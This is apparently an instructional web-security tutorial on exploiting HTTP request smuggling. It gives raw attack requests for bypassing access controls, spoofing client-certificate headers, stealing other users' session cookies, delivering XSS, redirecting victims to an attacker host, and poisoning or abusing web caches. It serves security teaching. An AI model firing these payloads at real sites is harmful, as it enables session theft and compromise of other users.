Exploiting HTTP request smuggling vulnerabilities
In this section, we'll describe various ways in which HTTP request smuggling vulnerabilities can be exploited, depending on the intended functionality and other behavior of the application.
Using HTTP request smuggling to bypass front-end security controls
In some applications, the front-end web server is used to implement some security controls, deciding whether to allow individual requests to be processed. Allowed requests are forwarded to the back-end server, where they are deemed to have passed through the front-end controls.
For example, suppose an application uses the front-end server to implement access control restrictions, only forwarding requests if the user is authorized to access the requested URL. The back-end server then honors every request without further checking. In this situation, an HTTP request smuggling vulnerability can be used to bypass the access controls, by smuggling a request to a restricted URL.
Suppose the current user is permitted to access /home
but not /admin
. They can bypass this restriction using the following request smuggling attack:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
The front-end server sees two requests here, both for /home
, and so the requests are forwarded to the back-end server. However, the back-end server sees one request for /home
and one request for /admin
. It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL.
Revealing front-end request rewriting
In many applications, the front-end server performs some rewriting of requests before they are forwarded to the back-end server, typically by adding some additional request headers. For example, the front-end server might:
- terminate the TLS connection and add some headers describing the protocol and ciphers that were used;
-
add an
X-Forwarded-For
header containing the user's IP address; - determine the user's ID based on their session token and add a header identifying the user; or
- add some sensitive information that is of interest for other attacks.
In some situations, if your smuggled requests are missing some headers that are normally added by the front-end server, then the back-end server might not process the requests in the normal way, resulting in smuggled requests failing to have the intended effects.
There is often a simple way to reveal exactly how the front-end server is rewriting requests. To do this, you need to perform the following steps:
- Find a POST request that reflects the value of a request parameter into the application's response.
- Shuffle the parameters so that the reflected parameter appears last in the message body.
- Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal.
Suppose an application has a login function that reflects the value of the email
parameter:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
This results in a response containing the following:
<input id="email" value="wiener@normal-user.net" type="text">
Here you can use the following request smuggling attack to reveal the rewriting that is performed by the front-end server:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
The requests will be rewritten by the front-end server to include the additional headers, and then the back-end server will process the smuggled request and treat the rewritten second request as being the value of the email
parameter. It will then reflect this value back in the response to the second request:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
Note
Since the final request is being rewritten, you don't know how long it will end up. The value in the Content-Length
header in the smuggled request will determine how long the back-end server believes the request is. If you set this value too short, you will receive only part of the rewritten request; if you set it too long, the back-end server will time out waiting for the request to complete. Of course, the solution is to guess an initial value that is a bit bigger than the submitted request, and then gradually increase the value to retrieve more information, until you have everything of interest.
Once you have revealed how the front-end server is rewriting requests, you can apply the necessary rewrites to your smuggled requests, to ensure they are processed in the intended way by the back-end server.
Bypassing client authentication
As part of the TLS handshake, servers authenticate themselves with the client (usually a browser) by providing a certificate. This certificate contains their "common name" (CN), which should match their registered hostname. The client can then use this to verify that they're talking to a legitimate server belonging to the expected domain.
Some sites go one step further and implement a form of mutual TLS authentication, where clients must also present a certificate to the server. In this case, the client's CN is often a username or suchlike, which can be used in the back-end application logic as part of an access control mechanism, for example.
The component that authenticates the client typically passes the relevant details from the certificate to the application or back-end server via one or more non-standard HTTP headers. For example, front-end servers sometimes append a header containing the client's CN to any incoming requests:
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
As these headers are supposed to be completely hidden from users, they are often implicitly trusted by back-end servers. Assuming you're able to send the right combination of headers and values, this may enable you to bypass access controls.
In practice, this behavior isn't usually exploitable because front-end servers tend to overwrite these headers if they're already present. However, smuggled requests are hidden from the front-end altogether, so any headers they contain will be sent to the back-end unchanged.
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
Capturing other users' requests
If the application contains any kind of functionality that allows you to store and later retrieve textual data, you can potentially use this to capture the contents of other users' requests. These may include session tokens or other sensitive data submitted by the user. Suitable functions to use as the vehicle for this attack would be comments, emails, profile descriptions, screen names, and so on.
To perform the attack, you need to smuggle a request that submits data to the storage function, with the parameter containing the data to store positioned last in the request. For example, suppose an application uses the following request to submit a blog post comment, which will be stored and displayed on the blog:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
Now consider what would happen if you smuggle an equivalent request with an overly long Content-Length
header and the comment
parameter positioned at the end of the request as follows:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
The Content-Length
header of the smuggled request indicates that the body will be 400 bytes long, but we've only sent 144 bytes. In this case, the back-end server will wait for the remaining 256 bytes before issuing the response, or else issue a timeout if this doesn't arrive quick enough. As a result, when another request is sent to the back-end server down the same connection, the first 256 bytes are effectively appended to the smuggled request as follows:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
As the start of the victim's request is contained in the comment
parameter, this will be posted as a comment on the blog, enabling you to read it simply by visiting the relevant post.
To capture more of the victim's request, you just need to increase the value of the smuggled request's Content-Length
header accordingly, but note that this will involve a certain amount of trial and error. If you encounter a timeout, this probably means that the Content-Length
you've specified is higher than the actual length of the victim's request. In this case, simply reduce the value until the attack works again.
Note
One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the &
character, meaning that the content that is stored from the victim user's request will end at the first &
, which might even appear in the query string
Using HTTP request smuggling to exploit reflected XSS
If an application is vulnerable to HTTP request smuggling and also contains reflected XSS, you can use a request smuggling attack to hit other users of the application. This approach is superior to normal exploitation of reflected XSS in two ways:
- It requires no interaction with victim users. You don't need to feed them a URL and wait for them to visit it. You just smuggle a request containing the XSS payload and the next user's request that is processed by the back-end server will be hit.
- It can be used to exploit XSS behavior in parts of the request that cannot be trivially controlled in a normal reflected XSS attack, such as HTTP request headers.
For example, suppose an application has a reflected XSS vulnerability in the User-Agent
header. You can exploit this in a request smuggling attack as follows:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
The next user's request will be appended to the smuggled request, and they will receive the reflected XSS payload in the response.
Using HTTP request smuggling to turn an on-site redirect into an open redirect
Many applications perform on-site redirects from one URL to another and place the hostname from the request's Host
header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response.
Turning root-relative redirects into open redirects
In some cases, you may encounter server-level redirects that use the path to construct a root-relative URL for the Location
header, for example:
GET /example HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: /example/
This can potentially still be used for an open redirect if the server lets you use a protocol-relative URL in the path:
GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/
Using HTTP request smuggling to perform web cache poisoning
In a variation of the preceding attack, it might be possible to exploit HTTP request smuggling to perform a web cache poisoning attack. If any part of the front-end infrastructure performs caching of content (generally for performance reasons), then it might be possible to poison the cache with the off-site redirect response. This will make the attack persistent, affecting any user who subsequently requests the affected URL.
In this variant, the attacker sends all of the following to the front-end server:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
The smuggled request reaches the back-end server, which responds as before with the off-site redirect. The front-end server caches this response against what it believes is the URL in the second request, which is /static/include.js
:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
From this point onwards, when other users request this URL, they receive the redirection to the attacker's web site.
Using HTTP request smuggling to perform web cache deception
In yet another variant of the attack, you can leverage HTTP request smuggling to perform web cache deception. This works in a similar way to the web cache poisoning attack but with a different purpose.
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
The back-end server responds to this request in the normal way. The URL in the request is for the user's private messages and the request is processed in the context of the victim user's session. The front-end server caches this response against what it believes is the URL in the second request, which is /static/some-image.png
:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
The attacker then visits the static URL and receives the sensitive content that is returned from the cache.
An important caveat here is that the attacker doesn't know the URL against which the sensitive content will be cached, since this will be whatever URL the victim user happened to be requesting when the smuggled request took effect. The attacker might need to fetch a large number of static URLs to discover the captured content.